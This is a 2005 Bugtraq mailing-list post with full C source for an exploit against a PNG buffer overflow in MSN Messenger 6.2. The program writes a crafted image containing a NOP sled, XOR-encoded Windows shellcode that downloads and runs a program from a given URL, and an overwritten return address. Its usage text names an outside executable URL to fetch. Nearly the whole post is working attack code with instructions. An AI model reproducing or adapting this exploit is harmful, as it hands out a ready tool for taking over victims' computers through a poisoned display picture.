From: ATmaCA ATmaCA <atmaca@xxxxxxxxxxxxxx>
To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: MSN Messenger PNG Image Buffer Overflow Download Shellcoded
Exploit
Date: 9 Feb 2005 14:06:29 -0000
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FILETIME=[334BF070:01C50EC8]
/*
*
* MSN Messenger PNG Image Buffer Overflow Download Shellcoded Exploit
* Bug discoveried by Core Security Technologies (www.coresecurity.com)
* Exploit coded By ATmaCA
* Copyright ©2002-2005 AtmacaSoft Inc. All Rights Reserved.
* Web: http://www.atmacasoft.com
* E-Mail: atmaca@xxxxxxxxxxx
* Credit to kozan and delikon
* Usage:exploit <OutputPath> <Url>
*
*/
/*
*
* Tested with MSN Messenger 6.2.0137
* This vulnerability can be exploited on Windows 2000 (all service packs)
* and Windows XP (all service packs) that run vulnerable
* clients of MSN Messenger.
*
*/
/*
*
* After creating vuln png image, open
* MSN Messenger and select it as your display picture in
* "Tools->Change Display Picture".
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <conio.h>
#include <string.h>
#ifdef __BORLANDC__
#include <mem.h>
#endif
#define NOP 0x90
char png_header[] =
"\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52"
"\x00\x00\x00\x40\x00\x00\x00\x40\x08\x03\x00\x00\x00\x9D\xB7\x81"
"\xEC\x00\x00\x01\xB9\x74\x52\x4E\x53";
char pngeof[] = "\x90\x90\x90\x59\xE8\x47\xFE\xFF\xFF";
/* Generic win32 http download shellcode
xored with 0x1d by delikon (http://delikon.de/) */
char shellcode[] = "\xEB"
"\x10\x58\x31\xC9\x66\x81\xE9\x22\xFF\x80\x30\x1D\x40\xE2\xFA\xEB\x05\xE8\xEB\xFF"
"\xFF\xFF\xF4\xD1\x1D\x1D\x1D\x42\xF5\x4B\x1D\x1D\x1D\x94\xDE\x4D\x75\x93\x53\x13"
"\xF1\xF5\x7D\x1D\x1D\x1D\x2C\xD4\x7B\xA4\x72\x73\x4C\x75\x68\x6F\x71\x70\x49\xE2"
"\xCD\x4D\x75\x2B\x07\x32\x6D\xF5\x5B\x1D\x1D\x1D\x2C\xD4\x4C\x4C\x90\x2A\x4B\x90"
"\x6A\x15\x4B\x4C\xE2\xCD\x4E\x75\x85\xE3\x97\x13\xF5\x30\x1D\x1D\x1D\x4C\x4A\xE2"
"\xCD\x2C\xD4\x54\xFF\xE3\x4E\x75\x63\xC5\xFF\x6E\xF5\x04\x1D\x1D\x1D\xE2\xCD\x48"
"\x4B\x79\xBC\x2D\x1D\x1D\x1D\x96\x5D\x11\x96\x6D\x01\xB0\x96\x75\x15\x94\xF5\x43"
"\x40\xDE\x4E\x48\x4B\x4A\x96\x71\x39\x05\x96\x58\x21\x96\x49\x18\x65\x1C\xF7\x96"
"\x57\x05\x96\x47\x3D\x1C\xF6\xFE\x28\x54\x96\x29\x96\x1C\xF3\x2C\xE2\xE1\x2C\xDD"
"\xB1\x25\xFD\x69\x1A\xDC\xD2\x10\x1C\xDA\xF6\xEF\x26\x61\x39\x09\x68\xFC\x96\x47"
"\x39\x1C\xF6\x7B\x96\x11\x56\x96\x47\x01\x1C\xF6\x96\x19\x96\x1C\xF5\xF4\x1F\x1D"
"\x1D\x1D\x2C\xDD\x94\xF7\x42\x43\x40\x46\xDE\xF5\x32\xE2\xE2\xE2\x70\x75\x75\x33"
"\x78\x65\x78\x1D";
FILE *di;
int i = 0;
short int weblength;
char *web;
char *pointer = NULL;
char *newshellcode;
/*xor cryptor*/
char *Sifrele(char *Name1)
{
char *Name=Name1;
char xor=0x1d;
int Size=strlen(Name);
for(i=0;i<Size;i++)
Name[i]=Name[i]^xor;
return Name;
}
void main(int argc, char *argv[])
{
if (argc < 3)
{
printf("MSN Messenger PNG Image Buffer Overflow Download
Shellcoded Exploit\n");
printf("Bug discoveried by Core Security Technologies
(www.coresecurity.com)\n");
printf("Exploit coded By ATmaCA\n");
printf("Copyright ©2002-2005 AtmacaSoft Inc. All Rights
Reserved.\n");
printf("Web: http://www.atmacasoft.com\n";);
printf("E-Mail: atmaca@xxxxxxxxxxx\n");
printf("Credit to kozan and delikon\n\n");
printf("\tUsage:exploit <OutputPath> <Url>\n");
printf("\tExample:exploit vuln.png
http://www.atmacasoft.com/exp/msg.exe\n";);
return;
}
web = argv[2];
if( (di=fopen(argv[1],"wb")) == NULL )
{
printf("Error opening file!\n");
return;
}
for(i=0;i<sizeof(png_header)-1;i++)
fputc(png_header[i],di);
/*stuff in a couple of NOPs*/
for(i=0;i<99;i++)
fputc(NOP,di);
weblength=(short int)0xff22;
pointer=strstr(shellcode,"\x22\xff");
weblength-=strlen(web)+1;
memcpy(pointer,&weblength,2);
newshellcode = new char[sizeof(shellcode)+strlen(web)+1];
strcpy(newshellcode,shellcode);
strcat(newshellcode,Sifrele(web));
strcat(newshellcode,"\x1d");
//shell code
for(i=0;i<strlen(newshellcode);i++)
fputc(newshellcode[i],di);
for(i=0;i<(83-strlen(web));i++) //NOPs
fputc(NOP,di);
/*Overwriting the return address (EIP)*/
/*0x005E0547 - ret */
fputc(0x47,di);
fputc(0x05,di);
fputc(0x5e,di);
fputc(0x00,di);
for(i=0;i<sizeof(pngeof)-1;i++)
fputc(pngeof[i],di);
printf("Vulnarable png file %s has been generated!\n",argv[1]);
fclose(di);
}